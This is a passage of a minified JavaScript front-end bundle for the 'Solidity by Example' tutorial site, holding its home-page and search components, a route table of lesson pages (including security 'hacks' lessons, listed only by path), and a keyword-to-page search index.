jg)iG(ug,s);function B1(s){return Array.from(new Set(s))}function V1(s){const a=[],n=hG(ug,s.toLowerCase());for(const l of n)vo[l]&&a.push(...vo[l]);return a}const f1="_component_ri31z_1",Y1="_updates_ri31z_8",R1="_category_ri31z_13",X1="_search_ri31z_16",v1="_listItem_ri31z_20",N1="_label_ri31z_28",H1="_header_ri31z_31",F1="_youTube_ri31z_34",K1="_youTubeLogo_ri31z_40",S1="_cryptoJobsList_ri31z_44",M1="_cryptoJobsListLogo_ri31z_50",as={component:f1,updates:Y1,category:R1,search:X1,listItem:v1,label:N1,header:H1,youTube:F1,youTubeLogo:K1,cryptoJobsList:S1,cryptoJobsListLogo:M1},x1=["2024/03/28 - Transient storage","2024/03/28 - Github PR wildanvin","2024/03/24 - Update Uniswap V3 examples"];function J1(){const[s,a]=W.useState(""),[n,l]=xI(),[p,e]=W.useState(null);W.useEffect(()=>{const d=n.get("q");d!=null&&d.length>0&&(a(d),c(d,!1))},[]);function c(d,I){const j=d.trim();if(j.length==0){e(null),I&&l({q:""});return}const y=B1(j.split(" ")),m={};for(const b of y){const G=V1(b);for(const h of G)m[h]=!0}e(m),I&&l({q:j})}const t=rG(d=>c(d,!0),500,[]);function o(d){a(d),t(d)}function i(){return p?Object.keys(p).length==0?r.jsx("div",{children:"No results"}):r.jsx("ul",{className:as.list,children:Cp.filter(({path:d})=>p[d]).map(({path:d,title:I})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:d,children:I})},d))}):r.jsxs(r.Fragment,{children:[ot.map(({routes:d,title:I},j)=>r.jsxs("div",{children:[I&&r.jsx("h3",{className:as.category,children:I}),r.jsx("ul",{className:as.list,children:d.map(({path:y,title:m})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:y,children:m})},y))})]},j)),r.jsxs("div",{children:[r.jsx("h3",{className:as.category,children:"Translations"}),OI.map(({lang:d,url:I})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:I,target:"__blank",children:d})},I))]})]})}return r.jsxs("div",{className:as.component,children:[r.jsx(Cg,{title:"Solidity by Example | 0.8.24",description:"Learn smart contract programming using Solidity"}),r.jsx("h1",{className:as.header,children:r.jsx("a",{href:"/",children:"Solidity by Example"})}),r.jsx("div",{className:as.subHeader,children:"v 0.8.24"}),r.jsxs("div",{className:as.main,children:[r.jsxs("p",{children:["Introduction to ",r.jsx("a",{href:"https://solidity.readthedocs.io",children:"Solidity"})," with simple examples"]}),r.jsxs("div",{className:as.youTube,children:[r.jsx("img",{src:Ig,alt:"logo",className:as.youTubeLogo}),r.jsx("a",{href:"https://www.youtube.com/@smartcontractprogrammer",target:"__blank",children:"Most code are explained here"})]}),r.jsxs("div",{className:as.cryptoJobsList,children:[r.jsx(z2,{size:24,className:as.cryptoJobsListLogo}),r.jsx("a",{href:dg,target:"__blank",children:"Looking for Solidity jobs?"})]}),r.jsx("div",{className:as.updates,children:x1.map((d,I)=>r.jsx("div",{children:d},I))}),r.jsx("div",{className:as.search,children:r.jsx(J2,{value:s,onChange:o})}),i()]})]})}const z1=[{path:"/abi-decode",component:zC},{path:"/abi-encode",component:LC},{path:"/app/assembly-bin-exp",component:sj},{path:"/app/bi-directional-payment-channel",component:cj},{path:"/app/create2",component:hj},{path:"/app/crowd-fund",component:yj},{path:"/app/deploy-any-contract",component:Zj},{path:"/app/dutch-auction",component:Yj},{path:"/app/english-auction",component:Fj},{path:"/app/erc1155",component:zj},{path:"/app/erc20",component:Lj},{path:"/app/erc721",component:su},{path:"/app/ether-wallet",component:cu},{path:"/app/gasless-token-transfer",component:hu},{path:"/app/iterable-mapping",component:yu},{path:"/app/merkle-tree",component:Zu},{path:"/app/minimal-proxy",component:Yu},{path:"/app/multi-call",component:Fu},{path:"/app/multi-delegatecall",component:zu},{path:"/app/multi-sig-wallet",component:Lu},{path:"/app/simple-bytecode-contract",component:sy},{path:"/app/time-lock",component:cy},{path:"/app/uni-directional-payment-channel",component:hy},{path:"/app/upgradeable-proxy",component:yy},{path:"/app/write-to-any-slot",component:Zy},{path:"/array",component:Yy},{path:"/assembly-error",component:Fy},{path:"/assembly-if",component:zy},{path:"/assembly-loop",component:Ly},{path:"/assembly-math",component:sA},{path:"/assembly-variable",component:cA},{path:"/bitwise",component:hA},{path:"/call",component:yA},{path:"/calling-contract",component:ZA},{path:"/constants",component:YA},{path:"/constructor",component:FA},{path:"/data-locations",component:zA},{path:"/defi/chainlink-price-oracle",component:LA},{path:"/defi/constant-product-amm",component:sm},{path:"/defi/constant-sum-amm",component:cm},{path:"/defi/dai-proxy",component:hm},{path:"/defi/discrete-staking-rewards",component:ym},{path:"/defi/stable-swap-amm",component:Zm},{path:"/defi/staking-rewards",component:Ym},{path:"/defi/uniswap-v2",component:Fm},{path:"/defi/uniswap-v2-add-remove-liquidity",component:zm},{path:"/defi/uniswap-v2-flash-swap",component:Lm},{path:"/defi/uniswap-v2-optimal-one-sided-supply",component:sb},{path:"/defi/uniswap-v3-flash",component:cb},{path:"/defi/uniswap-v3-flash-swap",component:hb},{path:"/defi/uniswap-v3-liquidity",component:yb},{path:"/defi/uniswap-v3-swap",component:Zb},{path:"/defi/vault",component:Yb},{path:"/delegatecall",component:Fb},{path:"/enum",component:zb},{path:"/error",component:Lb},{path:"/ether-units",component:sw},{path:"/events",component:cw},{path:"/fallback",component:hw},{path:"/first-app",component:yw},{path:"/function",component:Zw},{path:"/function-modifier",component:Yw},{path:"/function-selector",component:Fw},{path:"/gas",component:zw},{path:"/gas-golf",component:Lw},{path:"/hacks/accessing-private-data",component:sk},{path:"/hacks/block-timestamp-manipulation",component:ck},{path:"/hacks/contract-size",component:hk},{path:"/hacks/delegatecall",component:yk},{path:"/hacks/denial-of-service",component:Zk},{path:"/hacks/deploy-different-contracts-same-address",component:Yk},{path:"/hacks/front-running",component:Fk},{path:"/hacks/hiding-malicious-code-with-external-contract",component:zk},{path:"/hacks/honeypot",component:Lk},{path:"/hacks/overflow",component:sZ},{path:"/hacks/phishing-with-tx-origin",component:cZ},{path:"/hacks/randomness",component:hZ},{path:"/hacks/re-entrancy",component:yZ},{path:"/hacks/self-destruct",component:ZZ},{path:"/hacks/signature-replay",component:YZ},{path:"/hacks/vault-inflation",component:FZ},{path:"/hacks/weth-permit",component:zZ},{path:"/hashing",component:LZ},{path:"/hello-world",component:s0},{path:"/if-else",component:c0},{path:"/immutable",component:h0},{path:"/import",component:y0},{path:"/inheritance",component:Z0},{path:"/interface",component:Y0},{path:"/library",component:F0},{path:"/loop",component:z0},{path:"/mapping",component:L0},{path:"/new-contract",component:sW},{path:"/payable",component:cW},{path:"/primitives",component:hW},{path:"/sending-ether",component:yW},{path:"/shadowing-inherited-state-variables",component:ZW},{path:"/signature",component:YW},{path:"/state-variables",component:FW},{path:"/structs",component:zW},{path:"/super",component:LW},{path:"/tests/echidna",component:s2},{path:"/transient-storage",component:c2},{path:"/try-catch",component:h2},{path:"/unchecked-math",component:y2},{path:"/variables",component:Z2},{path:"/view-and-pure-functions",component:Y2},{path:"/visibility",component:F2},{path:"",component:J1}];function Ho(){const{state:s,init:a}=et();return W.useLayoutEffect(()=>{a({width:window.document.body.clientWidth})},[]),s.initialized?r.jsx(MI,{basename:"",children:r.jsx(YC,{children:r.jsx(FI,{children:z1.map(n=>{const{prev:l,next:p}=lC(n.path);return r.jsx(hg,{path:n.path,element:Do.createElement(n.component,{prev:l,next:p})},n.path)})})})}):null}const E1=document.getElementById("root"),U1=qi(E1),Fo=document.getElementById("root");Fo.hasChildNodes()?$i(Fo,r.jsx(bo,{children:r.jsx(Ho,{})})):U1.render(r.jsx(bo,{children:r.jsx(Ho,{})})); +`,E2=({prev:s,next:a})=>r.jsx(u,{version:S2,title:M2,description:x2,html:z2,prev:s,next:a,codes:J2}),D2=({size:s,className:a=""})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor",width:s,height:s,className:a,children:r.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-5.197-5.197m0 0A7.5 7.5 0 105.196 5.196a7.5 7.5 0 0010.607 10.607z"})}),T2="_component_efeb7_1",U2="_icon_efeb7_8",Q2="_input_efeb7_12",Ie={component:T2,icon:U2,input:Q2},_2=({value:s,onChange:a})=>{function n(l){a(l.target.value)}return r.jsxs("div",{className:Ie.component,children:[r.jsx(D2,{size:18,className:Ie.icon}),r.jsx("input",{className:Ie.input,placeholder:"Search",value:s,onChange:n})]})},L2=({size:s,className:a=""})=>r.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 113 113",xmlSpace:"preserve",width:s,height:s,className:a,children:[r.jsx("circle",{cx:56.5,cy:56.5,r:56.5,fill:"#453dff",stroke:"none"}),r.jsx("path",{fill:"#fff",stroke:"none",d:"M68.476 46.383c.454.796 1.36 1.82 2.155 1.82 4.31.227 8.62.113 13.157.113-.567-3.98-2.042-7.392-4.31-10.462-1.361-1.706-1.701-2.957-.34-4.89 1.36-1.82 2.381-4.094 3.63-6.255-3.97-2.274-7.827-4.435-11.797-6.709-1.36 2.274-2.609 4.321-3.743 6.482-.68 1.365-1.36 1.706-2.949 1.478-3.63-.455-7.259-.91-10.888-.682-10.889.682-19.85 7.96-22.798 18.423-3.29 11.94-1.702 22.97 6.805 32.523-1.588 2.843-3.29 5.8-4.99 8.87 4.083 2.275 7.826 4.55 11.795 6.824 1.588-2.73 3.063-5.231 4.424-7.733.68-1.251 1.588-1.365 2.949-1.479 4.65 0 9.3.228 13.724-.682 9.3-1.82 17.354-10.803 18.375-20.128-4.084 0-7.94.113-11.91 0-1.588 0-2.609.455-3.403 1.933-4.537 7.62-15.312 8.87-21.21 2.502-5.557-5.914-5.557-18.764.114-24.677 6.011-6.141 16.56-4.777 21.21 2.729z"})]});var O2="Expected a function",Yo=NaN,P2="[object Symbol]",$2=/^\s+|\s+$/g,q2=/^[-+]0x[0-9a-f]+$/i,sB=/^0b[01]+$/i,aB=/^0o[0-7]+$/i,nB=parseInt,lB=typeof Il=="object"&&Il&&Il.Object===Object&&Il,pB=typeof self=="object"&&self&&self.Object===Object&&self,eB=lB||pB||Function("return this")(),cB=Object.prototype,tB=cB.toString,oB=Math.max,rB=Math.min,de=function(){return eB.Date.now()};function iB(s,a,n){var l,p,e,c,t,o,i=0,I=!1,d=!1,j=!0;if(typeof s!="function")throw new TypeError(O2);a=Ro(a)||0,ic(n)&&(I=!!n.leading,d="maxWait"in n,e=d?oB(Ro(n.maxWait)||0,a):e,j="trailing"in n?!!n.trailing:j);function A(k){var G=l,Y=p;return l=p=void 0,i=k,c=s.apply(Y,G),c}function m(k){return i=k,t=setTimeout(h,a),I?A(k):c}function b(k){var G=k-o,Y=k-i,x=a-G;return d?rB(x,e-Y):x}function Z(k){var G=k-o,Y=k-i;return o===void 0||G>=a||G<0||d&&Y>=e}function h(){var k=de();if(Z(k))return g(k);t=setTimeout(h,b(k))}function g(k){return t=void 0,j&&l?A(k):(l=p=void 0,c)}function C(){t!==void 0&&clearTimeout(t),i=0,l=o=p=t=void 0}function y(){return t===void 0?c:g(de())}function W(){var k=de(),G=Z(k);if(l=arguments,p=this,o=k,G){if(t===void 0)return m(o);if(d)return t=setTimeout(h,a),A(o)}return t===void 0&&(t=setTimeout(h,a)),c}return W.cancel=C,W.flush=y,W}function ic(s){var a=typeof s;return!!s&&(a=="object"||a=="function")}function gB(s){return!!s&&typeof s=="object"}function hB(s){return typeof s=="symbol"||gB(s)&&tB.call(s)==P2}function Ro(s){if(typeof s=="number")return s;if(hB(s))return Yo;if(ic(s)){var a=typeof s.valueOf=="function"?s.valueOf():s;s=ic(a)?a+"":a}if(typeof s!="string")return s===0?s:+s;s=s.replace($2,"");var n=sB.test(s);return n||aB.test(s)?nB(s.slice(2),n?2:8):q2.test(s)?Yo:+s}var IB=iB;const dB=Fo(IB),CB={leading:!1,trailing:!0};function jB(s,a,n){return B.useCallback(dB(s,a,CB),n)}function uB(s,a){let n=s;for(let l=0;l0;){const[e,c,t]=a.pop();p&&(l=l.slice(0,c-1),p=!1),l+=e;const o=Object.keys(t);if(o.length>0)for(let i=0;ia+p)}const mB=["/visibility"],bB=["/visibility","/view-and-pure-functions","/sending-ether","/hashing","/function-selector","/function-modifier","/function","/fallback","/delegatecall","/calling-contract","/call"],wB=["/visibility"],kB=["/visibility","/hacks/hiding-malicious-code-with-external-contract"],ZB=["/view-and-pure-functions"],WB=["/view-and-pure-functions"],BB=["/variables","/structs","/state-variables","/shadowing-inherited-state-variables","/primitives","/mapping","/immutable","/evm/storage","/ether-units","/enum","/constants","/assembly-variable","/array"],GB=["/variables","/structs","/state-variables","/shadowing-inherited-state-variables","/primitives","/mapping","/immutable","/ether-units","/enum","/constants","/array"],VB=["/variables"],fB=["/variables"],YB=["/variables","/state-variables","/shadowing-inherited-state-variables","/evm/storage"],RB=["/variables","/structs","/primitives","/mapping","/immutable","/hacks/accessing-private-data","/evm/storage","/ether-units","/enum","/data-locations","/constants","/array","/app/iterable-mapping"],XB=["/unchecked-math","/gas-golf","/gas"],vB=["/unchecked-math"],NB=["/unchecked-math","/assembly-math","/app/assembly-bin-exp"],HB=["/unchecked-math","/hacks/overflow"],FB=["/unchecked-math","/hacks/overflow"],KB=["/try-catch","/error","/assembly-error"],SB=["/try-catch","/error"],MB=["/transient-storage"],xB=["/transient-storage","/hacks/accessing-private-data","/evm/storage","/data-locations","/app/write-to-any-slot"],JB=["/tests/echidna"],zB=["/tests/echidna"],EB=["/super","/calling-contract"],DB=["/super"],TB=["/super","/new-contract","/interface","/inheritance","/hello-world","/hacks/hiding-malicious-code-with-external-contract","/hacks/deploy-different-contracts-same-address","/hacks/contract-size","/first-app","/delegatecall","/constructor","/calling-contract","/call","/app/simple-bytecode-contract","/app/minimal-proxy","/app/deploy-any-contract","/app/create2"],UB=["/super","/new-contract","/interface","/inheritance","/first-app","/delegatecall","/calling-contract","/call"],QB=["/super","/shadowing-inherited-state-variables","/inheritance","/constructor"],_B=["/structs"],LB=["/structs"],OB=["/structs","/primitives"],PB=["/structs","/primitives"],$B=["/state-variables"],qB=["/state-variables"],sG=["/state-variables","/hello-world","/first-app","/app/write-to-any-slot","/app/upgradeable-proxy","/app/uni-directional-payment-channel","/app/time-lock","/app/simple-bytecode-contract","/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call","/app/minimal-proxy","/app/merkle-tree","/app/iterable-mapping","/app/gasless-token-transfer","/app/ether-wallet","/app/erc721","/app/erc20","/app/erc1155","/app/english-auction","/app/dutch-auction","/app/deploy-any-contract","/app/crowd-fund","/app/create2","/app/bi-directional-payment-channel"],aG=["/state-variables","/hello-world","/first-app","/app/write-to-any-slot","/app/upgradeable-proxy","/app/uni-directional-payment-channel","/app/time-lock","/app/simple-bytecode-contract","/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call","/app/minimal-proxy","/app/merkle-tree","/app/iterable-mapping","/app/gasless-token-transfer","/app/ether-wallet","/app/erc721","/app/erc20","/app/erc1155","/app/english-auction","/app/dutch-auction","/app/deploy-any-contract","/app/crowd-fund","/app/create2","/app/bi-directional-payment-channel"],nG=["/signature","/hashing","/hacks/signature-replay","/app/uni-directional-payment-channel","/app/merkle-tree","/app/bi-directional-payment-channel"],lG=["/signature"],pG=["/signature"],eG=["/signature","/hacks/signature-replay","/app/uni-directional-payment-channel","/app/multi-sig-wallet","/app/bi-directional-payment-channel"],cG=["/signature"],tG=["/signature"],oG=["/shadowing-inherited-state-variables"],rG=["/shadowing-inherited-state-variables"],iG=["/sending-ether"],gG=["/sending-ether","/sending-ether","/payable","/fallback"],hG=["/sending-ether","/payable","/fallback","/ether-units","/app/ether-wallet"],IG=["/sending-ether","/payable","/fallback","/app/ether-wallet"],dG=["/sending-ether","/fallback","/app/gasless-token-transfer"],CG=["/sending-ether","/delegatecall","/calling-contract","/call","/app/multi-call"],jG=["/sending-ether","/fallback"],uG=["/sending-ether","/fallback"],AG=["/sending-ether","/payable","/fallback"],yG=["/primitives"],mG=["/primitives"],bG=["/primitives"],wG=["/primitives"],kG=["/primitives"],ZG=["/primitives","/hacks/deploy-different-contracts-same-address","/app/create2"],WG=["/primitives"],BG=["/primitives"],GG=["/new-contract","/hacks/deploy-different-contracts-same-address"],VG=["/new-contract"],fG=["/new-contract","/hacks/deploy-different-contracts-same-address","/app/create2"],YG=["/new-contract","/hacks/deploy-different-contracts-same-address"],RG=["/mapping","/app/iterable-mapping"],XG=["/loop","/assembly-loop"],vG=["/loop"],NG=["/library"],HG=["/interface"],FG=["/inheritance"],KG=["/inheritance"],SG=["/inheritance"],MG=["/immutable","/defi/constant-sum-amm","/defi/constant-product-amm","/constants"],xG=["/immutable","/constants"],JG=["/immutable"],zG=["/immutable"],EG=["/if-else"],DG=["/if-else"],TG=["/if-else"],UG=["/hello-world"],QG=["/hello-world"],_G=["/hashing"],LG=["/hashing"],OG=["/hashing"],PG=["/hacks/weth-permit","/hacks/vault-inflation","/hacks/signature-replay","/hacks/self-destruct","/hacks/re-entrancy","/hacks/randomness","/hacks/phishing-with-tx-origin","/hacks/overflow","/hacks/honeypot","/hacks/hiding-malicious-code-with-external-contract","/hacks/front-running","/hacks/deploy-different-contracts-same-address","/hacks/denial-of-service","/hacks/delegatecall","/hacks/contract-size","/hacks/block-timestamp-manipulation","/hacks/accessing-private-data"],$G=["/hacks/weth-permit","/hacks/vault-inflation","/hacks/signature-replay","/hacks/self-destruct","/hacks/re-entrancy","/hacks/randomness","/hacks/phishing-with-tx-origin","/hacks/overflow","/hacks/honeypot","/hacks/hiding-malicious-code-with-external-contract","/hacks/front-running","/hacks/deploy-different-contracts-same-address","/hacks/denial-of-service","/hacks/delegatecall","/hacks/contract-size","/hacks/block-timestamp-manipulation","/hacks/accessing-private-data"],qG=["/hacks/weth-permit"],sV=["/hacks/weth-permit","/app/gasless-token-transfer"],aV=["/hacks/vault-inflation"],nV=["/hacks/vault-inflation"],lV=["/hacks/vault-inflation","/defi/vault"],pV=["/hacks/signature-replay"],eV=["/hacks/self-destruct"],cV=["/hacks/randomness"],tV=["/hacks/randomness"],oV=["/hacks/randomness"],rV=["/hacks/randomness"],iV=["/hacks/randomness","/hacks/block-timestamp-manipulation"],gV=["/hacks/randomness","/hacks/block-timestamp-manipulation"],hV=["/hacks/phishing-with-tx-origin"],IV=["/hacks/overflow"],dV=["/hacks/honeypot"],CV=["/hacks/hiding-malicious-code-with-external-contract"],jV=["/hacks/hiding-malicious-code-with-external-contract"],uV=["/hacks/hiding-malicious-code-with-external-contract"],AV=["/hacks/hiding-malicious-code-with-external-contract"],yV=["/hacks/front-running"],mV=["/hacks/front-running"],bV=["/hacks/deploy-different-contracts-same-address","/app/deploy-any-contract"],wV=["/hacks/deploy-different-contracts-same-address"],kV=["/hacks/deploy-different-contracts-same-address"],ZV=["/hacks/denial-of-service"],WV=["/hacks/denial-of-service"],BV=["/hacks/delegatecall","/delegatecall","/app/upgradeable-proxy","/app/multi-delegatecall"],GV=["/hacks/contract-size"],VV=["/hacks/contract-size"],fV=["/hacks/contract-size"],YV=["/hacks/contract-size"],RV=["/hacks/block-timestamp-manipulation"],XV=["/hacks/accessing-private-data"],vV=["/hacks/accessing-private-data"],NV=["/gas-golf"],HV=["/function-selector"],FV=["/function-selector"],KV=["/function-modifier"],SV=["/function-modifier"],MV=["/function-modifier"],xV=["/first-app"],JV=["/first-app"],zV=["/evm/storage"],EV=["/evm/storage","/assembly-variable","/assembly-math","/assembly-loop","/assembly-if","/assembly-error","/app/assembly-bin-exp"],DV=["/evm/storage","/bitwise","/assembly-variable","/assembly-math","/assembly-loop","/assembly-if","/assembly-error","/app/assembly-bin-exp"],TV=["/events"],UV=["/events"],QV=["/ether-units"],_V=["/ether-units"],LV=["/error"],OV=["/error","/assembly-error"],PV=["/error"],$V=["/enum"],qV=["/defi/vault","/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2","/defi/staking-rewards","/defi/stable-swap-amm","/defi/discrete-staking-rewards","/defi/dai-proxy","/defi/constant-sum-amm","/defi/constant-product-amm","/defi/chainlink-price-oracle"],sf=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2"],af=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash"],nf=["/defi/uniswap-v3-swap","/defi/uniswap-v3-flash-swap","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2","/defi/stable-swap-amm"],lf=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2","/defi/stable-swap-amm","/defi/constant-sum-amm","/defi/constant-product-amm"],pf=["/defi/uniswap-v3-liquidity","/defi/uniswap-v2-add-remove-liquidity"],ef=["/defi/uniswap-v3-flash-swap"],cf=["/defi/uniswap-v3-flash","/defi/uniswap-v2-flash-swap"],tf=["/defi/uniswap-v3-flash"],of=["/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2"],rf=["/defi/uniswap-v2-optimal-one-sided-supply"],gf=["/defi/uniswap-v2-optimal-one-sided-supply"],hf=["/defi/uniswap-v2-optimal-one-sided-supply"],If=["/defi/uniswap-v2-optimal-one-sided-supply"],df=["/defi/uniswap-v2-add-remove-liquidity","/assembly-math"],Cf=["/defi/uniswap-v2-add-remove-liquidity"],jf=["/defi/staking-rewards","/defi/discrete-staking-rewards"],uf=["/defi/staking-rewards","/defi/discrete-staking-rewards"],Af=["/defi/staking-rewards","/defi/discrete-staking-rewards"],yf=["/defi/stable-swap-amm"],mf=["/defi/stable-swap-amm"],bf=["/defi/discrete-staking-rewards"],wf=["/defi/dai-proxy"],kf=["/defi/dai-proxy","/app/upgradeable-proxy","/app/minimal-proxy"],Zf=["/defi/constant-sum-amm"],Wf=["/defi/constant-product-amm"],Bf=["/defi/chainlink-price-oracle"],Gf=["/defi/chainlink-price-oracle"],Vf=["/defi/chainlink-price-oracle"],ff=["/defi/chainlink-price-oracle"],Yf=["/data-locations"],Rf=["/data-locations"],Xf=["/data-locations"],vf=["/data-locations"],Nf=["/constructor"],Hf=["/constructor"],Ff=["/calling-contract"],Kf=["/bitwise"],Sf=["/bitwise"],Mf=["/bitwise"],xf=["/bitwise"],Jf=["/assembly-math"],zf=["/array"],Ef=["/array"],Df=["/app/write-to-any-slot"],Tf=["/app/write-to-any-slot","/app/deploy-any-contract"],Uf=["/app/write-to-any-slot"],Qf=["/app/upgradeable-proxy"],_f=["/app/uni-directional-payment-channel","/app/bi-directional-payment-channel"],Lf=["/app/uni-directional-payment-channel","/app/bi-directional-payment-channel"],Of=["/app/time-lock"],Pf=["/app/time-lock"],$f=["/app/simple-bytecode-contract"],qf=["/app/simple-bytecode-contract"],s1=["/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call"],a1=["/app/multi-sig-wallet"],n1=["/app/multi-sig-wallet","/app/ether-wallet"],l1=["/app/multi-call"],p1=["/app/minimal-proxy"],e1=["/app/merkle-tree"],c1=["/app/merkle-tree"],t1=["/app/iterable-mapping"],o1=["/app/gasless-token-transfer"],r1=["/app/gasless-token-transfer","/app/erc20"],i1=["/app/gasless-token-transfer"],g1=["/app/erc721"],h1=["/app/erc721"],I1=["/app/erc721","/app/erc1155"],d1=["/app/erc20"],C1=["/app/erc20"],j1=["/app/erc1155"],u1=["/app/erc1155"],A1=["/app/english-auction"],y1=["/app/english-auction","/app/dutch-auction"],m1=["/app/english-auction","/app/dutch-auction"],b1=["/app/dutch-auction"],w1=["/app/crowd-fund"],k1=["/app/crowd-fund"],Z1=["/app/crowd-fund"],W1=["/app/create2"],B1=["/app/assembly-bin-exp"],G1=["/app/assembly-bin-exp"],V1=["/abi-encode","/abi-decode"],f1=["/abi-encode"],Y1=["/abi-encode","/abi-decode"],R1=["/abi-encode"],X1=["/abi-encode"],v1=["/abi-encode"],N1=["/abi-decode"],Xo={visibility:mB,function:["/visibility","/view-and-pure-functions","/sending-ether","/hashing","/function-selector","/function-modifier","/function","/fallback","/delegatecall","/calling-contract","/call"],functions:bB,internal:wB,private:["/visibility","/hacks/accessing-private-data"],public:["/visibility"],external:kB,view:ZB,pure:WB,variable:BB,variables:GB,local:VB,global:fB,state:YB,data:RB,gas:XB,unchecked:vB,math:NB,overflow:HB,underflow:FB,try:["/try-catch"],catch:["/try-catch"],error:KB,errors:SB,transient:MB,storage:xB,test:JB,echidna:zB,calling:EB,parent:DB,contract:TB,contracts:UB,inheritance:QB,super:["/super","/inheritance"],struct:_B,structs:LB,type:OB,types:PB,reading:$B,writing:qB,app:sG,application:aG,cryptography:nG,verify:lG,verifying:pG,signature:eG,signatures:cG,ecrecover:tG,shadow:oG,shadowing:rG,sending:iG,send:gG,ether:hG,eth:IG,transfer:dG,call:CG,fallback:jG,receive:uG,payable:AG,primitive:yG,primitives:mG,boolean:bG,uint256:wG,int256:kG,address:ZG,uint:WG,int:BG,new:["/new-contract","/new-contract"],create:GG,creates:VG,create2:fG,salt:YG,mapping:RG,for:["/loop","/assembly-loop"],loop:XG,loops:vG,while:["/loop","/assembly-loop"],do:["/loop"],library:NG,interface:["/interface"],interfaces:HG,override:FG,virtual:KG,is:SG,import:["/import","/enum"],constant:MG,constants:xG,immutable:JG,immutables:zG,if:["/if-else","/assembly-if"],else:["/if-else"],conditional:EG,statement:DG,statements:TG,hello:UG,world:QG,hash:_G,hashing:LG,keccak256:OG,hack:PG,security:$G,weth:qG,permit:sV,inflation:aV,erc4626:nV,vault:lV,replay:pV,selfdestruct:eV,"re-entrancy":["/hacks/re-entrancy"],source:cV,random:tV,randomness:oV,blockhash:rV,block:iV,timestamp:gV,phishing:hV,"tx.origin":["/hacks/phishing-with-tx-origin"],arithmetic:IV,honeypot:dV,hide:CV,hiding:jV,malicious:uV,code:AV,front:yV,running:mV,deploy:bV,different:wV,same:kV,denial:ZV,service:WV,delegatecall:BV,bypass:GV,size:VV,check:fV,extcodesize:YV,manipulation:RV,access:XV,accessing:vV,golf:NV,selector:HV,selectors:FV,modifier:KV,modifiers:SV,_:MV,first:xV,counter:JV,evm:zV,yul:EV,assembly:DV,event:TV,events:UV,wei:QV,units:_V,require:LV,revert:OV,assert:PV,enum:["/enum"],imports:$V,defi:qV,uniswap:sf,v3:af,swap:nf,amm:lf,liquidity:pf,arbitrage:ef,flash:cf,loan:tf,v2:of,optimal:rf,one:gf,sided:hf,supply:If,add:df,remove:Cf,staking:jf,reward:uf,rewards:Af,curve:yf,stable:mf,discrete:bf,dai:wf,proxy:kf,sum:Zf,product:Wf,chainlink:Bf,price:Gf,oracle:Vf,oracles:ff,location:Yf,locations:Rf,memory:Xf,calldata:vf,constructor:Nf,constructors:Hf,other:Ff,bitwise:Kf,most:Sf,significant:Mf,bit:xf,mul:Jf,switch:["/assembly-if"],array:zf,arrays:Ef,write:Df,any:Tf,slot:Uf,upgradeable:Qf,"uni-directional":["/app/uni-directional-payment-channel"],payment:_f,channel:Lf,time:Of,lock:Pf,simple:$f,bytecode:qf,multi:s1,sig:a1,wallet:n1,staticcall:l1,minimal:p1,merkle:e1,tree:c1,iterable:t1,gasless:o1,token:r1,ERC20:i1,erc721:g1,ierc721:h1,nft:I1,erc20:d1,ierc20:C1,erc1155:j1,ierc1155:u1,english:A1,auction:y1,auctions:m1,dutch:b1,crowd:w1,fund:k1,funding:Z1,precompute:W1,"bi-directional":["/app/bi-directional-payment-channel"],binary:B1,exponentiation:G1,abi:V1,encode:f1,bytes:Y1,encodeWithSelector:R1,encodeWithSignature:X1,encodeCall:v1,decode:N1},vo={"/visibility":["visibility","function","functions","internal","private","public","external"],"/view-and-pure-functions":["view","pure","function","functions"],"/variables":["variable","variables","local","global","state","data"],"/unchecked-math":["gas","unchecked","math","overflow","underflow"],"/try-catch":["try","catch","error","errors"],"/transient-storage":["transient","storage"],"/tests/echidna":["test","echidna"],"/super":["calling","parent","contract","contracts","inheritance","super"],"/structs":["struct","structs","data","type","types","variable","variables"],"/state-variables":["reading","writing","state","variable","variables","app","application"],"/signature":["cryptography","verify","verifying","signature","signatures","ecrecover"],"/shadowing-inherited-state-variables":["state","variables","variable","shadow","shadowing","inheritance"],"/sending-ether":["sending","send","ether","eth","transfer","send","call","fallback","receive","payable","function","functions"],"/primitives":["primitive","primitives","data","type","types","variable","variables","boolean","uint256","int256","address","uint","int"],"/payable":["payable","eth","send","ether"],"/new-contract":["new","contract","create","contracts","creates","new","create2","salt"],"/mapping":["data","variable","variables","mapping"],"/loop":["for","loop","loops","while","do"],"/library":["library"],"/interface":["interface","interfaces","contract","contracts"],"/inheritance":["inheritance","super","override","virtual","is","contract","contracts"],"/import":["import"],"/immutable":["constant","constants","immutable","immutables","data","variable","variables"],"/if-else":["if","else","conditional","statement","statements"],"/hello-world":["contract","app","application","hello","world"],"/hashing":["hash","hashing","function","functions","keccak256","cryptography"],"/hacks/weth-permit":["hack","security","weth","permit"],"/hacks/vault-inflation":["hack","security","inflation","erc4626","vault"],"/hacks/signature-replay":["ha